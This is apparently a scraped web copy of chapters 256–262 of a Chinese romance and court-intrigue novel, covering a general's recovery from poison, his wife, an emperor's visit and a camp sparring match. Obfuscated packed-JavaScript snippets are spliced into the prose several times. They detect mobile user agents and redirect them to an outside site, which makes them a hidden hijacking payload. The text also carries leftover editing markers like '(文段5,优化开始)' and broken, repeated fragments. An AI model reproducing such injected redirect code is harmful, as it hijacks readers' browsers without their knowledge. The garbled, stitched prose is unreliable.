她拉着他的衣角,奶声奶气地说:“大哥哥,我把这个送给你,你要好好保管哦!” 她递过来一个小小的木头人,雕工粗糙,却被她视若珍宝。 “等我长大,我就去找你,谁欺负你,我就帮你打回去!” 小女孩挥舞着小拳头,信誓旦旦。 那时,他还是宁王府的世子。 (文段2,优化结束) 黄粱一梦。 冀容白回神,视线重新落在茅清兮身上。 醒来,她还在。 巨大的幸福感瞬间充盈了整个胸腔。 他忍不住伸手,将人往怀里揽了揽,感受着她温软的身躯。 第二百五十六章 茅清兮动了动,羽睫轻颤,缓缓睁开了眼。 “醒了?” 她声音带着一丝刚睡醒的沙哑,软糯得不像话。 “嗯。” 冀容白凝视着她,目光温柔。 “身上可有哪里不舒服?” 他低声问,语气关切。 “我好得很。” (文段10,优化开始) 他声音低沉,带着一丝笑意。 茅清兮却还是不放心,从他怀里坐起身。 “我替你把把脉。” 她说着,便要伸手。 冀容白顺从地伸出手腕,任由她诊脉。 他的目光,却一刻也不曾离开她的脸。 茅清兮感觉到他的注视,微微蹙眉。 但她什么也没说,只是静静地感受着他腕间的脉搏。 片刻后,她收回手,语气平静: “寒星露已解,只是身子还虚,需得好好将养。” 她顿了顿,补充道: “不可劳累,更不能动武。” 冀容白听了,乖乖点头。 “娘子。” 他突然伸手,轻轻拉住茅清兮的手腕,微微用力,将她带回自己怀里。 (文段10,优化结束) (文段5,优化开始) “别动,让我抱一会儿。” 他将头埋在她的颈窝,深深吸了一口气。 “你身上真香。” 茅清兮被他突如其来的亲昵弄得有些不自在,微微侧了侧头。 “这段时日,辛苦你了。” 冀容白的声音闷闷的,从她颈间传来。 “若不是你,我这条命……” “别说这些。” 茅清兮打断他,语气淡淡。 “救你,是我该做的。” 冀容白却固执地摇了摇头。 “不,你救了我,我这条命,就是你的。” 他抬起头,目光灼灼地看着她。 “以后,你让我做什么,我就做什么。” 茅清兮听着这话,总觉得哪里不对劲,但又说不上来。 连日来的疲惫让她实在懒得跟他计较,索性由他抱着。 (文段5,优化结束) 冀容白却是彻底没了睡意。 他低头看着怀里的人,嘴角的笑意越来越深。 他的老婆颜值在线,怎么看都看不够。 他想,自己前十九年所经历的那些苦难,或许都是为了换来今时今日与她的相遇吧? 如果真是这样,那这笔买卖,未免也太划算了。 若世上真有这样的交易,他冀容白甘愿生生世世众叛亲离,尝尽世间疾苦,只为能与她相遇。 屋内,炭火烧得正旺,发出轻微的“噼啪”声。 守夜的丫鬟绿绿听到动静,轻手轻脚地推开一条门缝,进来更换炭火。 她刚一抬头,就看到冀容白正一瞬不瞬地凝视着茅清兮,眉眼间尽是温柔的笑意。 察觉到她的视线,冀容白微微抬眸,看了她一眼。 绿绿吓了一跳,连忙低下头,加快了手中的动作。 (文段4,优化开始) 换好炭火,她几乎是逃也似的退了出去,还不忘轻轻带上房门。 她心跳得厉害,像是揣了只小鹿。 苏将军那眼神……也太温柔了吧? 绿绿拍了拍胸口,暗自感叹。 她自认心如止水,却也忍不住有些心旌摇曳。 正当她努力平复心跳时,身后突然传来一阵细碎的声响。 她回过头,却什么也没看到。 难道是自己听错了? 绿绿疑惑地皱了皱眉,没再多想。 屋内,茅清兮是被一阵若有若无的痒意给弄醒的。 她感觉有什么东西在她脸上轻轻扫过,像羽毛,又像…… 她猛地睁开眼,正好对上冀容白含笑的眼眸。 “醒了?” 他声音低低的,带着一丝戏谑。 茅清兮揉了揉眼睛,没好气地瞪了他一眼: “嗯。” 她语气淡淡的,带着一丝不悦。 若不是他,她还能继续摸会鱼。 “既然醒了,那不如……” 冀容白说着,缓缓俯下身,凑近她。 (文段4,优化结束) 他的吻来得又急又密,像一场突如其来的暴雨,让人措手不及。 茅清兮被他压在身下,鼻息间充斥着他身上淡淡的药草香气。 她感觉浑身发软,使不上力气,只能任由他亲吻。 云鬓散乱,几缕发丝垂落在脸颊边,更衬得她肌肤如雪。 漂亮的眸子微微泛红,氤氲着一层薄薄的水汽。 淡青色的中衣微微滑落,露出白皙圆润的肩头。 冀容白呼吸越来越重,但吻却渐渐变得轻柔。 他辗转流连,细细描摹着她的唇形,温柔得仿佛对待一件稀世珍宝。 这种细腻温柔的触感,反而更让茅清兮难以招架。 她忍不住轻轻挣扎起来,想要推开他。 可她越是挣扎,冀容白就越是强势。 (文段8,优化开始) 茅清兮心中烦闷。 考虑到他大病初愈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384603|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身子骨弱,她不敢贸然动手,怕伤了他。 可冀容白却变本加厉起来。 他的手,也开始不安分起来,顺着她的腰线,缓缓向下…… 茅清兮忍无可忍,猛地用力将他推开,翻身坐起,迅速整理好凌乱的衣衫。 她刚一回头,就看到冀容白捂着胸口,脸色煞白,冷汗涔涔。 “冀容白!” 茅清兮吓了一跳,连忙扑过去,扶住他。 “你怎么样?是不是哪里不舒服?” 她急切地问道,声音都变了调。 冀容白摇了摇头,气息微弱: “我没事,宝贝别慌。” “怎么会没事?你脸色都白成这样了……” (文段8,优化结束) (文段6,优化开始) 茅清兮说着,就想伸手去探他的脉搏。 可她的手腕却被冀容白一把抓住。 她还没反应过来,就听到冀容白低低地笑了一声。 “娘子……” 紧接着,她纤细的腰被一双有力的手臂环抱,整个人跌入一个温暖的怀抱。 冀容白倒是没有再乱来,只是紧紧地抱着她,声音里带着一丝得意和满足: “娘子好香。” 茅清兮气得太阳穴突突直跳。 她狠狠地捏了捏指骨,强忍着动手的冲动。 冀容白见她脸色铁青,立刻改口,可怜兮萱地说: “娘子,我真的胸口疼……” “是吗?” 茅清兮冷笑一声。 “既然如此,那更应该喝药了。” 她说着,起身就要往外走。 “绿绿呢?药怎么还没送来?” 冀容白一听,顿时急了。 他连忙伸手拉住茅清兮,哀求道: “娘子,我错了,我再也不敢了……” “我真的胸口疼,你就饶了我吧……” 茅清兮看着他,似笑非笑: “真的疼?” “真的!比真金还真!” 冀容白信誓旦旦地保证。 “那好吧。” 茅清兮慢悠悠地开口。 “既然你这么说,那我就勉为其难地相信你一次。” “不过……” 她话锋一转。 “药还是要喝的,良药苦口利于病嘛。” 说着,她朝门外扬声喊道: “绿绿,把药端进来!” (文段6,优化结束) (文段3,优化开始) 门外候着的绿绿听到吩咐,连忙应了一声,转身去端药。 第二百五十七章 片刻后,她端着一碗热气腾腾的药汁走了进来。 茅清兮接过药碗,朝冀容白走去。 冀容白看着那碗黑乎乎的药汁,脸都绿了。 他硬着头皮,接过药碗,在茅清兮“温柔”的注视下,一饮而尽。 那苦涩的味道,瞬间充斥了整个口腔,让他忍不住皱起了眉头。 茅清兮见状,眼底闪过一丝笑意。 她接过空碗,随手放在一旁,转身走了出去,留下一句话: “好好休息,别再乱动了。” 冀容白看着她的背影,欲哭无泪。 (文段3,优化结束) (文段9,优化开始) 他怎么觉得,自己好像搬起石头砸了自己的脚? 看来,这病一时半会儿是好不了了…… 冀容白无奈地叹了口气,认命地躺回床上。 - 富峻等人听闻冀容白毒解,都火急火燎地赶了过来。 一进门,看到冀容白气色明显好转,富峻激动得热泪盈眶。 “主子!您可算是熬出头了!” 他哽咽着说道,眼泪在眼眶里打转。 冀容白瞥了他一眼,语气淡淡: “哭什么,我又没死。” 富峻连忙擦了擦眼角,嘿嘿一笑: “这不是高兴嘛!主子,您不知道,这些日子,兄弟们都快愁**!” “您现在好了,咱们可算是能松口气了!” 冀容白看着他,嘴角微微勾起一抹弧度。 “行了,我知道你们担心我。” 他顿了顿,吩咐道: “你去给墨川他们写封信,报个平安,免得他们担心。” “好嘞!” 富峻立刻应道。 “我这就去!” 富辰带着一众侍卫也走了进来,一个个神情激动,眼睛都红红的。 (文段9,优化结束) (文段1,优化开始) “主子!” 富辰率先开口,声音有些哽咽。 “您终于好了!兄弟们都等着这一天呢!” 其他侍卫也纷纷附和,七嘴八舌地表达着自己的激动和喜悦。 茅清兮进屋时,看到的就是这样一副场景。 一群人围着冀容白,激动地说个不停。 她微微挑眉,有些意外。 富辰深吸一口气,平复了一下激动的心情。 他转过身,看着茅清兮,突然单膝跪地,抱拳行礼。 “夫**恩,富辰没齿难忘!” 他身后的一众侍卫,也跟着齐刷刷地单膝跪地,齐声说道: “夫**恩,我等没齿难忘!” 声音洪亮,震得屋顶都微微颤动。 (文段1,优化结束)“脑袋?我要那玩意儿做什么?” 茅清兮轻笑一声,语气轻快,试图缓和气氛。 “行了,都起来吧。”她摆了摆手,示意跪着的众人起身,“府里上上下下这些日子都辛苦了,俞霜——” 她唤来管家,吩咐道:“去我账上支些银子,让兄弟们好好放松放松,也算是我的一点心意。” 富辰闻言,下意识地看向冀容白。冀容白坐在椅上,微微颔首,示意他照办,却一言不发,似乎还在为之前的事情生气。 富辰心中了然,连忙躬身应道:“多谢夫人。” 茅清兮没再多说什么,转身进了屋。富辰则赶紧拽着富峻离开,生怕再惹出什么事端。 富辰此刻心里五味杂陈。那日玄月门的事,他自知莽撞,可夫人非但没怪罪,还为了主子的毒四处奔波。更别说这几日,澜府上下,里里外外,都是夫人在操持。 他富辰,算是彻底服气了。这份敬佩,跟对主子的,也没差了。 “看吧,哥,我早说过了,”富峻的声音在耳边响起,打断了富辰的思绪,“夫人可不是那种小气的人,你还不信!以后咱们听夫人的,准没错!” “臭小子,还敢教训起你哥来了?”富辰回过神,抬手给了富峻一个爆栗。 “哎呦!哥你干嘛打我!”富峻捂着脑袋,一脸不服气。 “行了行了,别闹!”富辰压低声音,“小心点儿,苏大人还在外面呢。” 富峻一听,连忙噤声,朝外张望了一眼。果然,潘云霄正站在澜府门外,一身锦衣卫的飞鱼服,衬得他身形越发挺拔。 而此时,茅清兮已吩咐俞霜将潘云霄请了进来。 冀容白听说潘云霄来了,眉梢微微一挑,脸色沉了沉,问:“叫他过来有何贵干?” “苏指挥使这些天一直在府外守着,于情于理,都该好好谢他。”茅清兮答道。 话音刚落,冀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毕竟,两人之前在四公主府有过冲突,虽然后来在猎场上,茅清兮欠了潘云霄一个人情,但这人情,她还没想好要怎么还。 潘云霄更是沉默寡言,只是低头看着面前的碗筷,不知道在想些什么。 第二百五十八章 这顿饭,吃得实在让人难受。茅清兮暗自后悔,早知如此,她就不该留潘云霄用饭。 她悄悄在桌下踢了冀容白一脚,想让他说点什么,打破这尴尬的气氛。 冀容白被她踢了一脚,这才抬起眼皮,看了她一眼。 茅清兮用眼神示意他,让他跟潘云霄说点什么。 冀容白却像是没看到她的暗示一般,只是淡淡地瞥了潘云霄一眼,然后开口,却是问了一个让人意想不到的问题。 “苏指挥使年纪轻轻,位高权重,怎么一直没有成亲?” 潘云霄没想到他会问这个,愣了一下,才冷声回答:“公务繁忙,无暇顾及。” “哦?”冀容白故意拖长了声音,“苏指挥使如此尽忠职守,实在难得。这样吧,改日我跟陛下说说,让他给你赐门好亲事,也免得你整日忙于公务,耽误了自己的终身大事。” 潘云霄脸色一沉:“不劳苏将军费心。” “这怎么行呢?”冀容白笑了,一双凤眼微微弯起,眼底却没什么笑意,“苏指挥使怕是不知道,这成亲的好处,可多着呢。想当初,本将军也觉得成亲没什么意思,可自从娶了娘子,才知道这其中的妙处。你说是不是,娘子?” 他转头看向茅清兮,眼神中带着一丝戏谑。 茅清兮被他这突如其来的一番话弄得有些莫名其妙,她不知道冀容白为什么要当着潘云霄的面说这些。 潘云霄却像是被踩到了尾巴的猫,猛地站起身来,一拱手:“下官还有要事需要处理,先行告退。” 说完,他便转身大步离去,头也不回。 冀容白看着他离去的背影,忍不住笑出声来。 “你到底跟他有什么过节?”茅清兮忍不住问道。 “过节?”冀容白挑了挑眉,“算是吧。” “什么叫算是?”茅清兮追问。 冀容白却避而不答,反而问道:“夫人为何非要让他在家里蹭饭?莫非……” 他故意拉长了声音,眼神中带着一丝玩味。 茅清兮坦然道:“我欠他一份恩情,之前在猎场,他救过我。” 冀容白一听这话,脸色顿时阴沉下来。他只知道茅清兮在猎场受过伤,却不知道竟然还有潘云霄的事。 他猛地一拍桌子,厉声喝道:“富峻!” 富峻应声而入,单膝跪地:“主子有何吩咐?” “围猎那会儿夫人受了伤,你是怎么当差的?!”冀容白怒声质问,“我让你护着夫人,你就是这么护着的?!” 富峻一脸茫然,随即反应过来,连忙请罪:“主子恕罪,是属下失职!” 茅清兮见冀容白动怒,连忙劝道:“你这是做什么?当时是我不让富峻跟着,与他无关……” “闭嘴!”冀容白怒喝一声,“我让他跟着你,就是为了保护你,他让你受伤,就是失职!” “冀容白!”茅清兮也有些生气了。 富峻见状,连忙说道:“主子息怒,是属下失职,请主子责罚!” 冀容白冷冷地看了他一眼:“自己去领罚!” “是!”富峻连忙应道,心里却叫苦不迭。主上没明说要如何处置,那便是要重罚了。 富峻退了出去,屋子里,气氛顿时变得紧张起来。 茅清兮看着冀容白,眼神复杂难辨。她深吸一口气,站起身,拿起放在一旁的三寒霜,转身走了出去,将冀容白独自留在屋内。 冀容白看着她的背影,脸色铁青。房内的侍女们个个噤若寒蝉,生怕惹恼了他。 这……这可如何是好?圣驾突至澜府,如同一阵疾风骤雨,打破了原本的宁静。各色珍玩、补品如流水般涌入,与其说是赏赐,不如说是某种无声的宣示。 冀容白在房中负手而立,身形挺拔如松。他时不时望向窗外,似乎在等待着什么人,又似乎在等待着什么事。 而此时的茅清兮,却还在后院,耐心地指点着长明练武。一招一式,皆是倾囊相授。她似乎全然不知前院的喧嚣扰攘。 直到府中下人急匆匆地赶来,语气急促地禀报了圣上驾临的消息,茅清兮这才猛然回神,收剑,整了整衣衫,快步赶往前厅。 她才刚踏进前厅,便敏锐地觉察到气氛的微妙与凝重。 圣上端坐在主位之上,目光却并未在她身上停留片刻,而是径直越过她,看向身旁的吉公公,沉声问道:“臧台可在内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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圣上冷冷地扫了她一眼,那目光,如同冬日里的寒冰,冷冽而刺骨,让茅清兮感觉浑身的血液都凝固了。 第二百五十九章 片刻之后,圣上收回视线,语气淡淡地开口:“这次你能为容白解毒,做得很好。” 茅清兮依旧低着头,恭敬地回道:“此乃臣妇分内之事,不敢居功。” “有功当赏,”圣上的语气一转,变得严厉起来,带着一丝质问,“但你身为澜府主母,管教下人却如此不力!容白刚刚痊愈,你不在一旁仔细照料,成日在外头做什么?!” 冀容白眉头紧锁,刚要开口为茅清兮辩解几句,却被她用眼神制止。 茅清兮抢先一步,垂首认错:“臣妇知罪,请陛下责罚。” “功过相抵,看在你为容白解毒的份上,这次就饶了你。”圣上冷哼一声,语气中带着一丝警告,“但你要记住,身为妻子,相夫教子、照顾好自己的丈夫才是头等大事,莫要本末倒置!” “……是。”茅清兮低声应着,声音细若蚊蚋。 圣上不再理会她,转头看向冀容白,开始细细询问起他的身体状况。 冀容白看了茅清兮一眼,眼神中带着一丝复杂难明的情绪。 茅清兮微微摇了摇头,示意他不要多言,只管应对圣上的问话。 从起居饮食到日常用药,再到平日里看的什么书、与什么人来往,事无巨细,圣上问得极为仔细,甚至还旁敲侧击地打听了澜府中的一些琐事,挨个给府里的人上了一课,这才心满意足地起驾离开。 圣上一走,原本压抑沉闷的气氛瞬间消散,仿佛乌云散去,阳光重现。 冀容白一把抓住茅清兮的手腕,一把把她拽到跟前,目光灼灼地盯着她,声音低沉而沙哑:“怎么,还在生气?” “我没有。”茅清兮摇了摇头,眉头微微蹙起,似乎还在思考着什么事情,有些心不在焉。 冀容白将她揽入怀中,手掌轻轻摩挲着她纤细的腰肢,声音低沉而富有磁性:“真没生气?方才用膳的时候,你可是连正眼都没瞧我一下。” 茅清兮抬眸,清澈的眼神中带着一丝不解与疑惑:“我为何要生气?” 冀容白顿时语塞,他总不能说,自己是因为潘云霄看她的眼神而吃味吧? 潘云霄那点小心思,虽然隐藏得很好,但又岂能瞒过他的眼睛?只是,他的小姑娘似乎对此一无所知,还傻乎乎地以为人家只是单纯地感激她。 若是他直接点破,反倒显得自己小肚鸡肠,还平白无故地让她去关注一个无关紧要的人。 冀容白强行压下心头翻涌的醋意,轻咳一声,换了个话题:“我只是有些不明白,你为何要留潘云霄用膳?他那个人,心思深沉,可不是一个会轻易领情的人。” 茅清兮这才将思绪从方才圣上驾临的种种细节中抽离出来,认真地解释道:“我之前暗中派人查过潘云霄的姐姐,也就是那位不幸早逝的前太子妃的死因。此事颇有蹊跷。” 冀容白的神色瞬间变得严肃起来,眉宇间笼罩着一层阴霾。 “你想说什么?”他沉声问道。 “潘云霄与钱云霄之所以势同水火,便是因为他一直认定,他姐姐的死与钱云霄脱不了干系。但我查到的消息,却并非如此简单。”茅清兮顿了顿,声音压得更低了,“他姐姐是在怀胎十月,即将临盆之际,突发急症,血崩而亡,一尸两命。这本就蹊跷,更何况,当时钱云霄根本就不在府中!” “他不仅不在府中,甚至在潘云霄姐姐过世一日之后才姗姗来迟。回来之后,非但没有彻查此事,反而以‘晦气’为由,将人草草下葬了事。”茅清兮的声音中带着一丝冷意,“苏家不过是寻常商户,纵然有些家底,又如何能与皇家抗衡?钱云霄随便找了个借口,便将他们敷衍了过去。可怜那潘云霄,当时不过是个十几岁的少年,唯一的亲姐姐就这么不明不白地**,他心中怎能不恨?” “这些年,即使钱云霄贵为太子,潘云霄对他也是冷眼相待,从未有过好脸色。如今他做了锦衣卫指挥使,看似风光,实则如履薄冰,一直在暗中追查当年之事。”茅清兮说到这里,语气微微一顿。 “那你……”冀容白看着她,欲言又止。 茅清兮抬手,轻轻按住他的手背,继续道:“潘云霄手握锦衣卫,却也束手束脚,毕竟,锦衣卫是皇上的锦衣卫,不是他苏家的私兵。他要查,也只能暗中进行,不敢闹出太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鹰羽卫统领冀容白抱恙期间,副统领墨川竟率部奇袭,连下西魏两座城池! 第二百六十章 这消息,如同惊雷般炸响在京城,满朝文武先是愕然,随即爆发出震天的欢呼。 大晋立国以来,跟西魏交兵无数,可从未占得过如此大的便宜。 天子笑逐颜开,当即下旨重赏鹰羽卫,连带着立功的墨家军也一并封赏。 尤明月听到这消息,先是激动得捏紧了拳头,甚至没忍住笑出了声。可笑着笑着,她就觉出不对劲来了。 她是墨家军主帅,这么大的事儿,她竟然一点风声都没听着! 到这时候她才算回过味儿来,冀容白当日说得没错——如今的墨家军,她怕是真管不了了。 接了那道封赏的圣旨,尤明月心里头乱哄哄的。 她忽然想起一件事。冀容白在云陲毒发,按说该带着鹰羽卫赶紧回京。 毕竟,鹰羽卫又不是地方上的兵,哪能在云陲待那么久? 可冀容白却说北边儿不稳当,硬是把鹰羽卫给留下了。 回京的路上,碰上好几拨刺客,可冀容白愣是没让鹰羽卫回来护着。 如今一想,这不明摆着是冀容白的计策么! 人人都当没了冀容白的鹰羽卫不顶事儿,可谁能想到,这帮人早就跟出鞘的刀子似的,就等着给敌人来一下狠的! 冀容白这心思,也太深了!尤明月越想越觉得后背发凉。 这边,冀容白才进宫,就被圣上身边的太监领去了明德殿。 圣上见了冀容白,那是越看越喜欢,当场就要封他做一等护国将军,还加了个定北侯的爵位,金银珠宝更是赏了一大堆。 这圣旨,都没等内阁那帮人过目,就直接从御案上发出去了。 这事儿可不寻常。 大晋开国那会儿,为了不让皇帝一个人说了算,朝里的事儿都得内阁那帮人先商量。 这些年,皇帝已经步入暮年,更是啥事儿都听内阁的。 平日里,圣旨都得内阁先写好了,圣上再盖个章。 可这回倒好,内阁直接被晾一边了! 内阁那帮大臣们后知后觉,可这会儿,冀容白得赏的事儿,早就传得满城风雨了。 储君的案牍之间。 钱云霄的脸色铁青,他两边坐的,一边是太子府的人,一边是朝里的大臣。 “圣旨既没过内阁,要不……咱就说这事儿不合规矩,让内阁再合计合计?” 有人出了个主意。 “不成!” 孔阁老立马摇头: “皇上能绕过内阁,那肯定是知道咱要拦着。再说,这事儿都传开了,难不成让老百姓觉得,皇上的话还能不算数?” 再说,皇上也不是好糊弄的,内阁哪能真管得了他? 孔阁老这话一说,其他人也都跟着唉声叹气。 孔谋坐在钱云霄下手边,一直没吭声。 “之前你们一个个都说,能让冀容白死在北边儿,可他呢?人好端端地回来了,毒也解了,你们怎么办的事儿?!” 钱云霄气得一拍桌子。 下边的人你看看我,我看看你,赶紧都跪下了。 钱云霄更是气不打一处来。 他这个太子,如今还得担心位子坐不稳! 一个上不得台面的私生子,也敢跟他叫板! 他那父皇也不想想,真让冀容白当了皇帝,就他那出身,天下人谁能服气? 到时候,皇家的脸面往哪儿搁?! 不光太子府,安王府也差不多的情形。 宁王跟太子明争暗斗这么些年,如今又冒出个冀容白,他能乐意才怪! 只有贤王府,跟平常一样。 贤王正站在窗户边儿上画梅花,旁边一个漂亮丫头给他磨墨。 等画完了,贤王问那丫头: “画得咋样?” “这世上,再没比殿下画得更好的梅花了。” 丫头甜甜地说。 “就你嘴甜。” 贤王笑了笑,那丫头也跟着抿嘴笑。 突然,贤王脸上的笑没了,说了句: “你先出去吧。” “是。” 丫头应了一声,低着头出去了。 她刚走,屋里就多出个黑衣人。 “太子和宁王联手了,要对付冀容白,殿下您看……” 黑衣人声音压得低低的。 “我?” 贤王看着刚画好的画,提笔写下“玉临”两个字。 笔锋遒劲,力透纸背。 “我啥也不用干,等着看戏就行。” 黑衣人应了一声,又没了影儿。 …… 鹰羽卫回了京,就驻扎在京郊大营。 冀容白的身子虽说好了,可还得养些日子。 过了些时日,这天冀容白忽然开口:“娘子不是一直想去军营里转转?今儿个,要不要一起去?” 茅清兮一听就来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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茅清兮今儿个穿了身玄色骑装,瞧着不起眼,细看才发现门道。 领口袖口的地方,用红线压了边,还绣了金色的暗纹,衬得她整个人英姿飒爽。 第二百六十一章 高高的马尾辫,露出纤细白皙的脖颈,像一株在寒冬里傲然挺立的梅。 冷冽,孤傲,又透着股不服输的劲儿。 行至半道,冀容白掀开车帘。 他示意富峻,将马车往前赶了赶。 不多时,马车便与茅清兮并驾齐驱。 冀容白手搭在窗沿上,修长的指节轻轻敲了敲车厢,发出“叩叩”的声响。 茅清兮听到动静,侧过脸来。 冀容白唇角微微上扬,眼底漾着笑意,修长的手指朝她勾了勾。 “何事?”茅清兮勒住缰绳,稍稍俯身。 她身上有股独特的香气。 不似寻常女子用的香粉那般浓郁,而是清清淡淡的,若有似无,却勾人心弦。 冀容白嘴角的弧度更大了些。 他忽然伸手,将一块还带着余温的红枣糯米糕送到茅清兮嘴边。 茅清兮愣了愣,下意识地张嘴,咬住了那块糕点。 软糯香甜的味道瞬间在口中蔓延开来,还带着红枣特有的清甜。 富峻和俞霜几个,眼观鼻,鼻观心,只当自己什么都没瞧见。 尤明月紧紧地攥着缰绳,指关节都泛了白。 她盯着冀容白和茅清兮,心里像打翻了五味瓶,酸涩苦楚,什么滋味都有。 她将玉露草交予茅清兮,至今未得冀容白一句感谢。 他对茅清兮千般柔情,却连一句只言片语都不愿施舍给自己。 冀容白手里还捏着剩下的糕点,笑意盈盈地看着茅清兮:“饿了吗?再吃些?” 茅清兮有些纠结。 她既想策马奔腾,又舍不得这一口吃的。 冀容白似乎看穿了她的心思,故意放慢了语速,慢悠悠地说:“早起时,我吩咐厨房备了些点心,都是你爱吃的。除了糯米糕,还有……” “还有什么?”茅清兮果然上钩,急切地追问。 冀容白微微一笑,继续道:“金丝南瓜酥,翡翠炸春卷……” 他每说一样,茅清兮的眼睛就更亮一分。 “都在马车里?” 茅清兮不等他说完,就迫不及待地问。 冀容白点了点头,眼底的笑意更浓了。 茅清兮当机立断,把缰绳往俞霜手里一扔,一个转身,钻进了马车。 “早知如此,我才不骑马吹冷风呢!” 她小声嘀咕着,伸手去够小几上的糕点。 冀容白看着她孩子气的模样,嘴角的弧度愈发柔和。 他放下车帘,隔绝了外界的纷纷扰扰。 马车内温暖如春。 茅清兮吃得不亦乐乎,直到马车抵达鹰羽卫军营,她才意犹未尽地跳下车。 冀容白披着一件玄色大氅,手里还拿着一件。 他将那件大氅披在茅清兮身上,细心地替她系好带子。 “仔细着凉。”他轻声嘱咐,嗓音低沉而温柔。 墨川早早接到消息,带着一众将士在军营门口迎候。 他如今已官至正三品将军。 但在冀容白面前,他依旧是那个最忠诚的侍卫,最得力的副将。 虽是寒冬腊月,鹰羽卫军营里却是一派热火朝天的景象。 校场中央,搭起了一座高高的擂台,足有二十尺宽。 台上有两个兵士正捉对厮杀,拳来脚往,打得难解难分。 台下围满了人,叫好声、呐喊声此起彼伏,震耳欲聋。 “将军!” 看到冀容白,士兵们纷纷停下操练,齐刷刷地过来行礼。 冀容白身上的毒解了,鹰羽卫又立下大功,整个军营都洋溢着喜庆的气氛。 冀长明早就按捺不住,一溜烟跑到擂台边上,看得目不转睛。 这些兵士大多没见过茅清兮。 但他们都晓得这是将军夫人,纷纷恭敬地行礼问候。 对尤明月,他们的态度就截然不同了。 当初在北境并肩作战,他们与墨家军早已亲如兄弟。 尤明月与他们同吃同住,从不叫苦叫累,军营里的人早就把她当成了自己人。 至于尤明月对冀容白的心思,大家也都心知肚明。 尽管这属于将军的私人事务,他们不便多言,但私下里也没少打趣,盼着将军能与尤明月喜结连理。 “尤将军,可要上来过两招?” 有人高声提议。 尤明月毫不扭捏,纵身一跃,稳稳地落在了擂台上。 “尤将军,今儿想跟谁切磋切磋?” 大伙儿笑着起哄。 尤明月握紧了长剑,目光却落在台下的茅清兮身上。 “臧夫人,”她朗声说道,“秦某想向您讨教几招。” 众人的视线齐刷刷地转向茅清兮。 她裹着一件宽大的氅衣,雪白的狐裘镶在领边。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王煊却像没看见似的,依旧自顾自地说:“夫人,咱们这儿可不是闹着玩的,刀剑无眼,伤着了可不是小事!” 他这话,与其说是提醒,不如说是警告。 第二百六十二章 京城里那些贵女,平日里舞刀弄剑,不过是做做样子罢了。 真要上了战场,恐怕早就吓得腿软了。 “哦?”茅清兮轻轻挑了挑眉梢,嘴角勾起一抹似笑非笑的弧度。 冀容白伸手,替茅清兮解开了身上的氅衣,语气淡淡的:“既然如此,那就打到他们服气为止。” 他顿了顿,又补了一句:“但记住,别把人打**,留口气就行。” “……”王煊张了张嘴,想说些什么,却又不知道该说什么。 怎么感觉将军这话,像是在说给自己听的呢? 冀容白将氅衣交给身旁的侍从。 俞霜捧着一柄长剑,递到茅清兮面前。 茅清兮接过长剑,缓缓抽出。 “呛啷——” 剑身在阳光下闪着寒光,发出清脆的声响。 她眼神一凛,足尖轻点,整个人如同离弦的箭一般,飞身跃上了擂台。 尤明月只觉得体内的血液开始沸腾,每一个细胞都在叫嚣着战斗。 她等这一刻,已经等了太久太久。 今天,她就要在这里,当着所有人的面,击败茅清兮。 她要证明,只有自己,才配得上冀容白!“三寒霜?” 王煊眼睛都看直了,盯着茅清兮手里的剑,下巴差点没掉下来。 这可是将军的宝贝! 当初在云陲,为了这把剑,将军可是费了不少功夫! 底下多少人眼红这把剑,做梦都想摸一摸。 结果倒好,将军扭头就送给了夫人。 这…… 王煊心里那叫一个不得劲,这明摆着是拿金疙瘩当石头使嘛! 内宅夫人,懂什么刀剑? 不是白瞎了这好东西么! 茅清兮跳上擂台,冀容白也跟着上了台。 寻了个最好的位置,往那一站,气定神闲。 墨川偷偷拿眼睛斜了王煊一眼,示意他少说两句。 可王煊哪懂这个,扯着嗓子就喊上了: “夫人,丑话小的们可说在前头!” “这刀剑可不长眼,万一一不小心伤了您,您可千万别回去找将军告状,回头再扒了小的们的皮!” 茅清兮听了这话,倒是笑了,只是笑意不达眼底: “放心,真伤了我,不怪你们。” 